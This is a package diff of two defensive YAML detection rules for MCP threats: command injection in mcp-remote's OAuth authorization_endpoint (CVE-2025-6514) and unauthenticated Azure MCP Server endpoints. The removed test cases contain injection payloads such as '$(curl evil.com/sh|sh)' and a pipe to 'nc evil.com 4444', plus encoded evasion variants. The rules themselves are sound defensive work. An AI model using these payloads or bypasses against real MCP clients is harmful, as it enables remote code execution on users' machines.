agent-threat-rules 4.0.0 → 4.2.0

package/rules/tool-poisoning/ATR-2026-00434-mcp-remote-authorization-endpoint-command-injection.yaml

@@ -1,78 +1,67 @@
-title: "mcp-remote authorization_endpoint OS Command Injection (CVE-2025-6514)"
+title: mcp-remote authorization_endpoint OS Command Injection (CVE-2025-6514)
 id: ATR-2026-00434
 rule_version: 1
 status: experimental
-description: >
-  Detects exploitation of CVE-2025-6514 (CVSS 9.6), OS command injection in
-  mcp-remote when connecting to untrusted MCP servers. The vulnerable surface
-  is the `authorization_endpoint` field returned in the OAuth metadata
-  response: mcp-remote interpolates this URL into a shell context without
-  sanitisation. Crafted shell metacharacters (`$()`, `\``, `;`, `|`, `&&`,
-  `>(...)`, `\\$IFS`) inside the URL execute arbitrary OS commands on the
-  client host. CWE-78. Disclosed by JFrog 2025-Q3.
-author: "ATR Community"
-date: "2026/05/10"
-schema_version: "0.1"
+description: |
+  Detects exploitation of CVE-2025-6514 (CVSS 9.6), OS command injection in mcp-remote when connecting to untrusted MCP servers. The vulnerable surface is the `authorization_endpoint` field returned in the OAuth metadata response: mcp-remote interpolates this URL into a shell context without sanitisation. Crafted shell metacharacters (`$()`, `\``, `;`, `|`, `&&`, `>(...)`, `\\$IFS`) inside the URL execute arbitrary OS commands on the client host. CWE-78. Disclosed by JFrog 2025-Q3.
+author: ATR Community
+date: 2026/05/10
+schema_version: '0.1'
 detection_tier: pattern
 maturity: stable
 severity: critical
-
 references:
   owasp_llm:
-    - "LLM03:2025"
-    - "LLM05:2025"
+    - LLM03:2025
+    - LLM05:2025
   owasp_agentic:
-    - "ASI04:2026"
-    - "ASI05:2026"
+    - ASI04:2026
+    - ASI05:2026
   mitre_atlas:
-    - "AML.T0049 - Exploit Public-Facing Application"
-    - "AML.T0010 - AI Supply Chain Compromise"
+    - AML.T0049 - Exploit Public-Facing Application
+    - AML.T0010 - AI Supply Chain Compromise
   mitre_attack:
-    - "T1059 - Command and Scripting Interpreter"
-    - "T1190 - Exploit Public-Facing Application"
+    - T1059 - Command and Scripting Interpreter
+    - T1190 - Exploit Public-Facing Application
   cve:
-    - "CVE-2025-6514"
-
+    - CVE-2025-6514
 metadata_provenance:
   mitre_atlas: human-reviewed
   owasp_llm: human-reviewed
   owasp_agentic: human-reviewed
-
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: "CVE-2025-6514 mcp-remote interpolates the authorization_endpoint URL from a server-controlled OAuth metadata response into a shell context, yielding arbitrary OS command execution on the MCP client; Article 15 cybersecurity requirements mandate that AI tool clients sanitise server-controlled fields used in command-string construction."
+    - article: '15'
+      context: CVE-2025-6514 mcp-remote interpolates the authorization_endpoint URL from a server-controlled OAuth metadata response into a shell context, yielding arbitrary OS command execution on the MCP client; Article 15 cybersecurity requirements mandate that AI tool clients sanitise server-controlled fields used in command-string construction.
       strength: primary
-    - article: "9"
-      context: "Article 9 risk management must enumerate server-controlled OAuth metadata as untrusted input — any field consumed by string formatting into a shell or process-spawn primitive is a high-risk RCE vector."
+    - article: '9'
+      context: Article 9 risk management must enumerate server-controlled OAuth metadata as untrusted input — any field consumed by string formatting into a shell or process-spawn primitive is a high-risk RCE vector.
       strength: primary
   nist_ai_rmf:
-    - subcategory: "MP.5.1"
-      context: "Adversarial input attacks via MCP server metadata responses (authorization_endpoint, registration_endpoint, jwks_uri) reaching shell-exec sinks must be tracked and detected as a primary tool-supply-chain attack class."
+    - subcategory: MP.5.1
+      context: Adversarial input attacks via MCP server metadata responses (authorization_endpoint, registration_endpoint, jwks_uri) reaching shell-exec sinks must be tracked and detected as a primary tool-supply-chain attack class.
       strength: primary
-    - subcategory: "MG.2.3"
-      context: "Risk treatment under MG.2.3 must require URL-grammar validation on every server-supplied OAuth metadata field before any shell or subprocess use."
+    - subcategory: MG.2.3
+      context: Risk treatment under MG.2.3 must require URL-grammar validation on every server-supplied OAuth metadata field before any shell or subprocess use.
       strength: primary
-    - subcategory: "MS.2.7"
-      context: "NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the tool-poisoning technique (mcp-remote authorization_endpoint OS Command Injection (CVE-2025-6514))."
+    - subcategory: MS.2.7
+      context: NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the tool-poisoning technique (mcp-remote authorization_endpoint OS Command Injection (CVE-2025-6514)).
       strength: primary
-    - subcategory: "MG.3.2"
-      context: "NIST AI RMF MANAGE 3.2 (pre-trained models monitored as part of maintenance) is supported where this rule detects the tool-poisoning technique (mcp-remote authorization_endpoint OS Command Injection (CVE-2025-6514))."
+    - subcategory: MG.3.2
+      context: NIST AI RMF MANAGE 3.2 (pre-trained models monitored as part of maintenance) is supported where this rule detects the tool-poisoning technique (mcp-remote authorization_endpoint OS Command Injection (CVE-2025-6514)).
       strength: secondary
   iso_42001:
-    - clause: "8.1"
-      context: "Operational controls under clause 8.1 must include detection of shell metacharacters in OAuth/OIDC discovery metadata fields consumed by MCP client tooling."
+    - clause: '8.1'
+      context: Operational controls under clause 8.1 must include detection of shell metacharacters in OAuth/OIDC discovery metadata fields consumed by MCP client tooling.
       strength: primary
-    - clause: "8.3"
-      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is supported by this rule, which implements runtime detection of the tool-poisoning technique (mcp-remote authorization_endpoint OS Command Injection (CVE-2025-6514)) as a treatment control."
+    - clause: '8.3'
+      context: ISO/IEC 42001 Clause 8.3 (AI risk treatment) is supported by this rule, which implements runtime detection of the tool-poisoning technique (mcp-remote authorization_endpoint OS Command Injection (CVE-2025-6514)) as a treatment control.
       strength: secondary
-
 tags:
   category: tool-poisoning
   subcategory: mcp-oauth-metadata-injection
   scan_target: mcp
   confidence: high
-
 agent_source:
   type: mcp_exchange
   framework:
@@ -80,104 +69,40 @@ agent_source:
     - any
   provider:
     - any
-
 detection:
   condition: any
   false_positives:
-    - "Legitimate OAuth metadata documentation describing endpoint discovery for educational purposes."
-    - "Security tooling that parses authorization_endpoint for vulnerability scanning."
+    - Legitimate OAuth metadata documentation describing endpoint discovery for educational purposes.
+    - Security tooling that parses authorization_endpoint for vulnerability scanning.
   conditions:
     - field: tool_response
       operator: regex
-      value: '(?i)"authorization_endpoint"\s*:\s*"https?://[^"]*(?:`|\$\(|\$IFS|\$\{IFS|&&|\|\||\|\s*[a-z]|>\(|;\s*[a-z]\w*\s*[;&|]|>\s*/[a-z])'
-      description: "OAuth authorization_endpoint URL contains unambiguous shell metacharacters (backtick, $(, &&, ||, |cmd, command-chain, file-redirect) — direct CVE-2025-6514 signature"
-
+      value: (?i)"authorization_endpoint"\s*:\s*"https?://[^"]*(?:`|\$\(|\$IFS|\$\{IFS|&&|\|\||\|\s*[a-z]|>\(|;\s*[a-z]\w*\s*[;&|]|>\s*/[a-z])
+      description: OAuth authorization_endpoint URL contains unambiguous shell metacharacters (backtick, $(, &&, ||, |cmd, command-chain, file-redirect) — direct CVE-2025-6514 signature
     - field: tool_response
       operator: regex
-      value: '(?i)"authorization_endpoint"\s*:\s*"[^"]*\$\([^)]+\)[^"]*"'
-      description: "authorization_endpoint URL contains $(...) command substitution"
-
+      value: (?i)"authorization_endpoint"\s*:\s*"[^"]*\$\([^)]+\)[^"]*"
+      description: authorization_endpoint URL contains $(...) command substitution
     - field: tool_response
       operator: regex
-      value: '(?i)"authorization_endpoint"\s*:\s*"[^"]*`[^`]+`[^"]*"'
-      description: "authorization_endpoint URL contains backtick command substitution"
-
+      value: (?i)"authorization_endpoint"\s*:\s*"[^"]*`[^`]+`[^"]*"
+      description: authorization_endpoint URL contains backtick command substitution
     - field: tool_response
       operator: regex
-      value: '(?i)"(?:authorization_endpoint|registration_endpoint|token_endpoint|jwks_uri|userinfo_endpoint|end_session_endpoint)"\s*:\s*"[^"]*(?:\$\(|`|;\s*[a-z]\w*\s*[;&|]|&&|\|\||>\s*/[a-z]|>\(|\$IFS|\$\{IFS)'
-      description: "Any OAuth/OIDC metadata field URL contains unambiguous shell metacharacters — generalised auth-metadata injection"
-
+      value: (?i)"(?:authorization_endpoint|registration_endpoint|token_endpoint|jwks_uri|userinfo_endpoint|end_session_endpoint)"\s*:\s*"[^"]*(?:\$\(|`|;\s*[a-z]\w*\s*[;&|]|&&|\|\||>\s*/[a-z]|>\(|\$IFS|\$\{IFS)
+      description: Any OAuth/OIDC metadata field URL contains unambiguous shell metacharacters — generalised auth-metadata injection
     - field: tool_response
       operator: regex
-      value: '(?i)"authorization_endpoint"\s*:\s*"[^"]*%(?:24|60|3b|7c|26)[^"]*"'
-      description: "authorization_endpoint URL has URL-encoded shell metacharacters ($, `, ;, |, &) — encoded-bypass attempt"
-
+      value: (?i)"authorization_endpoint"\s*:\s*"[^"]*%(?:24|60|3b|7c|26)[^"]*"
+      description: authorization_endpoint URL has URL-encoded shell metacharacters ($, `, ;, |, &) — encoded-bypass attempt
     - field: content
       operator: regex
-      value: '(?i)mcp-?remote[^\n]{0,80}(?:authorization_endpoint|oauth\s+metadata)[^\n]{0,200}(?:command\s+inject|os\s+command|rce|shell|cve-?2025-?6514)'
-      description: "Skill/payload references mcp-remote authorization_endpoint command-injection — CVE-2025-6514 explicit"
-
+      value: (?i)mcp-?remote[^\n]{0,80}(?:authorization_endpoint|oauth\s+metadata)[^\n]{0,200}(?:command\s+inject|os\s+command|rce|shell|cve-?2025-?6514)
+      description: Skill/payload references mcp-remote authorization_endpoint command-injection — CVE-2025-6514 explicit
 response:
   actions:
     - alert
     - block_tool
-  message_template: >
-    [ATR-2026-00434] CRITICAL: mcp-remote authorization_endpoint command-
-    injection pattern detected (CVE-2025-6514, CVSS 9.6). MCP server metadata
-    response contains shell metacharacters in an OAuth discovery URL field.
-    Block the connection; treat the remote MCP server as hostile. Upgrade
-    mcp-remote to the patched release and validate OAuth metadata fields with
-    a strict URL grammar before any shell or subprocess use.
-
+  message_template: |
+    [ATR-2026-00434] CRITICAL: mcp-remote authorization_endpoint command- injection pattern detected (CVE-2025-6514, CVSS 9.6). MCP server metadata response contains shell metacharacters in an OAuth discovery URL field. Block the connection; treat the remote MCP server as hostile. Upgrade mcp-remote to the patched release and validate OAuth metadata fields with a strict URL grammar before any shell or subprocess use.
 confidence: 88
-
-test_cases:
-  true_positives:
-    - input: '{"authorization_endpoint": "https://evil/$(curl evil.com/sh|sh)"}'
-      expected: triggered
-      description: "Direct CVE-2025-6514 PoC: command substitution in authorization_endpoint"
-    - input: '{"authorization_endpoint": "https://evil/`curl evil.com|sh`"}'
-      expected: triggered
-      description: "Backtick command substitution in authorization_endpoint"
-    - input: '{"authorization_endpoint": "https://evil/auth;id>/tmp/pwn"}'
-      expected: triggered
-      description: "Semicolon command separation in authorization_endpoint"
-    - input: '{"authorization_endpoint": "https://evil/auth|nc evil.com 4444"}'
-      expected: triggered
-      description: "Pipe to remote shell in authorization_endpoint"
-    - input: '{"authorization_endpoint": "https://evil/auth&&touch /tmp/pwn"}'
-      expected: triggered
-      description: "Logical-AND command chain in authorization_endpoint"
-    - input: '{"token_endpoint": "https://evil/$(id)/token"}'
-      expected: triggered
-      description: "Same injection class via token_endpoint sibling field"
-    - input: '{"authorization_endpoint": "https://evil/auth%24%28id%29"}'
-      expected: triggered
-      description: "URL-encoded $(id) command-substitution payload"
-    - input: 'The mcp-remote OAuth flow processes authorization_endpoint as a shell argument — exploit by including $(cmd) — CVE-2025-6514.'
-      expected: triggered
-      description: "Skill description weaponising CVE-2025-6514"
-
-  true_negatives:
-    - input: '{"authorization_endpoint": "https://auth.example.com/oauth/authorize"}'
-      expected: not_triggered
-      description: "Clean authorization_endpoint URL — no shell metachars"
-    - input: '{"authorization_endpoint": "https://auth.example.com/oauth/authorize?response_type=code&client_id=abc"}'
-      expected: not_triggered
-      description: "Clean URL with standard OAuth query params (& separator allowed in URLs)"
-    - input: "RFC 8414: authorization_endpoint is the URL of the authorization server's authorization endpoint."
-      expected: not_triggered
-      description: "OAuth specification documentation"
-    - input: "JFrog disclosed CVE-2025-6514 in mcp-remote where the authorization_endpoint URL is interpolated unsafely."
-      expected: not_triggered
-      description: "Defensive advisory mentioning the CVE without payload"
-
-evasion_tests:
-  - input: '{"authorization_endpoint": "https://evil/auth\\u0024(id)"}'
-    expected: not_triggered
-    bypass_technique: unicode_escape
-    notes: "JSON \\u0024 represents $; if MCP client decodes JSON before shell-construct, decoded payload bypasses literal regex; v2 should normalise JSON unicode escapes"
-  - input: '{"authorization_endpoint": "https://evil/auth　$(id)"}'
-    expected: not_triggered
-    bypass_technique: unicode_whitespace_padding
-    notes: "Ideographic-space prefix may bypass URL-grammar validators while still reaching shell; v2 should normalise unicode whitespace"

package/rules/tool-poisoning/ATR-2026-00435-azure-mcp-server-missing-authentication.yaml

@@ -1,83 +1,70 @@
-title: "Azure MCP Server Missing Authentication for Critical Function (CVE-2026-32211)"
+title: Azure MCP Server Missing Authentication for Critical Function (CVE-2026-32211)
 id: ATR-2026-00435
 rule_version: 1
 status: experimental
-description: >
-  Detects exploitation or configuration exposure of CVE-2026-32211
-  (CVSS 9.1 Microsoft / 7.5 NIST), missing authentication for critical
-  function in Azure MCP Server allowing an unauthenticated attacker to
-  disclose information over a network. Detects (a) MCP server config
-  blocks pointing at Azure MCP endpoints without an `auth` / `headers` /
-  `token` field, (b) raw MCP handshake responses from Azure MCP servers
-  that expose tool listings without an Authorization challenge, and
-  (c) skill/tool descriptions referencing the Azure MCP unauthenticated
-  surface. CWE-306.
-author: "ATR Community"
-date: "2026/05/10"
-schema_version: "0.1"
+description: |
+  Detects exploitation or configuration exposure of CVE-2026-32211 (CVSS 9.1 Microsoft / 7.5 NIST), missing authentication for critical function in Azure MCP Server allowing an unauthenticated attacker to disclose information over a network. Detects (a) MCP server config blocks pointing at Azure MCP endpoints without an `auth` / `headers` / `token` field, (b) raw MCP handshake responses from Azure MCP servers that expose tool listings without an Authorization challenge, and (c) skill/tool descriptions referencing the Azure MCP unauthenticated surface. CWE-306.
+author: ATR Community
+date: 2026/05/10
+schema_version: '0.1'
 detection_tier: pattern
 maturity: stable
 severity: high
-
 references:
   owasp_llm:
-    - "LLM03:2025"
-    - "LLM06:2025"
+    - LLM03:2025
+    - LLM06:2025
   owasp_agentic:
-    - "ASI09:2026"
-    - "ASI04:2026"
+    - ASI09:2026
+    - ASI04:2026
   mitre_atlas:
-    - "AML.T0040 - AI Model Inference API Access"
-    - "AML.T0049 - Exploit Public-Facing Application"
+    - AML.T0040 - AI Model Inference API Access
+    - AML.T0049 - Exploit Public-Facing Application
   mitre_attack:
-    - "T1190 - Exploit Public-Facing Application"
-    - "T1078 - Valid Accounts"
+    - T1190 - Exploit Public-Facing Application
+    - T1078 - Valid Accounts
   cve:
-    - "CVE-2026-32211"
-
+    - CVE-2026-32211
 metadata_provenance:
   mitre_atlas: human-reviewed
   owasp_llm: human-reviewed
   owasp_agentic: human-reviewed
-
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: "CVE-2026-32211 Azure MCP Server exposes a critical function without authentication, permitting unauthorised network attackers to disclose information; Article 15 cybersecurity requirements mandate that AI tool servers enforce authentication on every information-disclosing critical function."
+    - article: '15'
+      context: CVE-2026-32211 Azure MCP Server exposes a critical function without authentication, permitting unauthorised network attackers to disclose information; Article 15 cybersecurity requirements mandate that AI tool servers enforce authentication on every information-disclosing critical function.
       strength: primary
-    - article: "9"
-      context: "Article 9 risk management must enumerate missing-auth-on-critical-function as a primary access-control failure mode for any MCP / tool-router deployment."
+    - article: '9'
+      context: Article 9 risk management must enumerate missing-auth-on-critical-function as a primary access-control failure mode for any MCP / tool-router deployment.
       strength: primary
   nist_ai_rmf:
-    - subcategory: "MP.5.1"
-      context: "Network attacks against MCP / tool-server endpoints that do not require authentication on critical functions must be tracked as a primary surface in the threat profile."
+    - subcategory: MP.5.1
+      context: Network attacks against MCP / tool-server endpoints that do not require authentication on critical functions must be tracked as a primary surface in the threat profile.
       strength: primary
-    - subcategory: "MG.2.3"
-      context: "Risk treatment under MG.2.3 must require an authentication challenge on every MCP server tool-listing and tool-invocation handler before exposing the surface to a network."
+    - subcategory: MG.2.3
+      context: Risk treatment under MG.2.3 must require an authentication challenge on every MCP server tool-listing and tool-invocation handler before exposing the surface to a network.
       strength: primary
-    - subcategory: "GV.6.1"
-      context: "Third-party MCP services (including Azure MCP Server) must be assessed under GV.6.1 supplier risk-management for authentication-on-critical-function controls before agent deployments depend on them."
+    - subcategory: GV.6.1
+      context: Third-party MCP services (including Azure MCP Server) must be assessed under GV.6.1 supplier risk-management for authentication-on-critical-function controls before agent deployments depend on them.
       strength: secondary
-    - subcategory: "MS.2.7"
-      context: "NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the tool-poisoning technique (Azure MCP Server Missing Authentication for Critical Function (CVE-2026-32211))."
+    - subcategory: MS.2.7
+      context: NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the tool-poisoning technique (Azure MCP Server Missing Authentication for Critical Function (CVE-2026-32211)).
       strength: primary
-    - subcategory: "MG.3.2"
-      context: "NIST AI RMF MANAGE 3.2 (pre-trained models monitored as part of maintenance) is supported where this rule detects the tool-poisoning technique (Azure MCP Server Missing Authentication for Critical Function (CVE-2026-32211))."
+    - subcategory: MG.3.2
+      context: NIST AI RMF MANAGE 3.2 (pre-trained models monitored as part of maintenance) is supported where this rule detects the tool-poisoning technique (Azure MCP Server Missing Authentication for Critical Function (CVE-2026-32211)).
       strength: secondary
   iso_42001:
-    - clause: "8.1"
-      context: "Operational controls under clause 8.1 must include detection of MCP server registrations pointing at endpoints lacking an authentication challenge."
+    - clause: '8.1'
+      context: Operational controls under clause 8.1 must include detection of MCP server registrations pointing at endpoints lacking an authentication challenge.
       strength: primary
-    - clause: "8.3"
-      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is supported by this rule, which implements runtime detection of the tool-poisoning technique (Azure MCP Server Missing Authentication for Critical Function (CVE-2026-32211)) as a treatment control."
+    - clause: '8.3'
+      context: ISO/IEC 42001 Clause 8.3 (AI risk treatment) is supported by this rule, which implements runtime detection of the tool-poisoning technique (Azure MCP Server Missing Authentication for Critical Function (CVE-2026-32211)) as a treatment control.
       strength: secondary
-
 tags:
   category: tool-poisoning
   subcategory: mcp-missing-authentication
   scan_target: mcp
   confidence: medium
-
 agent_source:
   type: mcp_exchange
   framework:
@@ -85,90 +72,33 @@ agent_source:
     - any
   provider:
     - any
-
 detection:
   condition: any
   false_positives:
-    - "Local development MCP server bound to localhost:N where missing auth is intentional and gateways enforce access elsewhere."
-    - "Educational documentation describing the Azure MCP Server architecture."
-    - "Security tooling that scans MCP configurations for the missing-auth pattern."
+    - Local development MCP server bound to localhost:N where missing auth is intentional and gateways enforce access elsewhere.
+    - Educational documentation describing the Azure MCP Server architecture.
+    - Security tooling that scans MCP configurations for the missing-auth pattern.
   conditions:
     - field: tool_response
       operator: regex
-      value: '(?i)"mcpServers"\s*:\s*\{[^}]*"[^"]*azure[^"]*"\s*:\s*\{(?:(?!"(?:auth|authorization|headers|token|apiKey|bearerToken)")[^{}])*\}'
-      description: "MCP server config block whose key references Azure but has no auth-related field — direct CVE-2026-32211 exposure pattern"
-
+      value: (?i)"mcpServers"\s*:\s*\{[^}]*"[^"]*azure[^"]*"\s*:\s*\{(?:(?!"(?:auth|authorization|headers|token|apiKey|bearerToken)")[^{}])*\}
+      description: MCP server config block whose key references Azure but has no auth-related field — direct CVE-2026-32211 exposure pattern
     - field: tool_response
       operator: regex
-      value: '(?i)"url"\s*:\s*"https://[^"]*\.(?:azure|azurewebsites|microsoftcontainerregistry|microsoft)\.[^"/]+/(?:mcp|tools|invoke|list)[^"]*"(?:(?!"(?:auth|headers|token|apiKey)")[\s\S]){0,400}\}'
-      description: "MCP server URL pointing at Azure-hosted MCP endpoint without auth/headers field within the same config object"
-
+      value: (?i)"url"\s*:\s*"https://[^"]*\.(?:azure|azurewebsites|microsoftcontainerregistry|microsoft)\.[^"/]+/(?:mcp|tools|invoke|list)[^"]*"(?:(?!"(?:auth|headers|token|apiKey)")[\s\S]){0,400}\}
+      description: MCP server URL pointing at Azure-hosted MCP endpoint without auth/headers field within the same config object
     - field: tool_response
       operator: regex
-      value: '(?i)"tools"\s*:\s*\[[^\]]{20,}\]\s*,\s*"server"\s*:\s*"azure-mcp[^"]*"(?![\s\S]{0,400}?(?:authorization|www-?authenticate|access[_-]?token))'
-      description: "Azure MCP handshake exposes tools list with no authentication challenge present in the same exchange"
-
+      value: (?i)"tools"\s*:\s*\[[^\]]{20,}\]\s*,\s*"server"\s*:\s*"azure-mcp[^"]*"(?![\s\S]{0,400}?(?:authorization|www-?authenticate|access[_-]?token))
+      description: Azure MCP handshake exposes tools list with no authentication challenge present in the same exchange
     - field: content
       operator: regex
-      value: '(?i)azure\s+mcp(?:\s+server)?[^\n]{0,200}(?:no\s+auth|missing\s+auth|unauth(?:enticated|orised)?|cve-?2026-?32211|disclose\s+(?:info|data))'
-      description: "Skill / payload describing the Azure MCP missing-authentication surface — CVE-2026-32211 explicit framing"
-
+      value: (?i)azure\s+mcp(?:\s+server)?[^\n]{0,200}(?:no\s+auth|missing\s+auth|unauth(?:enticated|orised)?|cve-?2026-?32211|disclose\s+(?:info|data))
+      description: Skill / payload describing the Azure MCP missing-authentication surface — CVE-2026-32211 explicit framing
 response:
   actions:
     - alert
     - block_tool
-  message_template: >
-    [ATR-2026-00435] HIGH: Azure MCP Server unauthenticated critical-function
-    pattern detected (CVE-2026-32211, CVSS 9.1 Microsoft). MCP configuration
-    points at an Azure-hosted MCP endpoint without an auth / headers / token
-    field, OR the handshake exposes tool listings without an Authorization
-    challenge. Refuse to register the server until an authentication mechanism
-    is configured; treat unauthenticated information-disclosure surfaces as
-    out-of-scope for agent toolchains.
-
+  message_template: |
+    [ATR-2026-00435] HIGH: Azure MCP Server unauthenticated critical-function pattern detected (CVE-2026-32211, CVSS 9.1 Microsoft). MCP configuration points at an Azure-hosted MCP endpoint without an auth / headers / token field, OR the handshake exposes tool listings without an Authorization challenge. Refuse to register the server until an authentication mechanism is configured; treat unauthenticated information-disclosure surfaces as out-of-scope for agent toolchains.
 confidence: 72
-
-test_cases:
-  true_positives:
-    - input: '{"mcpServers": {"azure-storage": {"url": "https://my-mcp.azurewebsites.net/mcp"}}}'
-      expected: triggered
-      description: "Azure MCP server config without auth field — direct CVE-2026-32211 exposure"
-    - input: '{"mcpServers": {"azure-foundry": {"url": "https://foundry.azure.com/mcp/list"}}}'
-      expected: triggered
-      description: "Azure-domain MCP URL with no auth/headers in the same config object"
-    - input: '{"tools": [{"name": "blob_list"}, {"name": "kv_secret_read"}], "server": "azure-mcp-prod"}'
-      expected: triggered
-      description: "Azure MCP server exposing sensitive tools without an Authorization challenge in the handshake"
-    - input: 'The Azure MCP Server has missing auth on its tool-list endpoint — CVE-2026-32211 lets an unauthenticated attacker disclose info.'
-      expected: triggered
-      description: "Skill description weaponising CVE-2026-32211"
-    - input: '{"mcpServers": {"azure-app-service": {"url": "https://api.azure.microsoft.com/mcp/invoke"}}}'
-      expected: triggered
-      description: "Azure-domain MCP URL with no auth — invoke endpoint exposed"
-
-  true_negatives:
-    - input: '{"mcpServers": {"azure-storage": {"url": "https://my-mcp.azurewebsites.net/mcp", "headers": {"Authorization": "Bearer ${TOKEN}"}}}}'
-      expected: not_triggered
-      description: "Azure MCP server config WITH Authorization header — properly authenticated"
-    - input: '{"mcpServers": {"azure-mcp": {"url": "https://my-mcp.azurewebsites.net/mcp", "auth": {"type": "oauth2"}}}}'
-      expected: not_triggered
-      description: "Azure MCP server config WITH auth.type field — properly configured"
-    - input: '{"mcpServers": {"local-dev": {"command": "npx", "args": ["my-mcp-server"]}}}'
-      expected: not_triggered
-      description: "Local STDIO MCP server — no Azure URL, different threat model"
-    - input: "Azure MCP Server documentation: configure your server with OAuth2 client credentials in the auth.headers section."
-      expected: not_triggered
-      description: "Defensive documentation"
-    - input: '{"mcpServers": {"azure-test": {"url": "https://my-mcp.azurewebsites.net/mcp", "apiKey": "abc123"}}}'
-      expected: not_triggered
-      description: "Azure MCP config WITH apiKey field — authenticated"
-
-evasion_tests:
-  - input: '{"mcpServers": {"azuretools": {"url": "https://172.16.0.5:8443/mcp"}}}'
-    expected: not_triggered
-    bypass_technique: ip_address_bypass
-    notes: "Server keyed 'azuretools' but pointing at raw IP defeats the azure-domain regex; v2 should add IP-vs-azure-tag conflict detection"
-  - input: '{"mcpServers": {"AZURE-MCP": {"url": "https://my-mcp.AZUREWEBSITES.net/mcp"}}}'
-    expected: triggered
-    bypass_technique: case_variation
-    notes: "Case-insensitive flag ensures uppercase variant still triggers; this is a regression test, not a true bypass"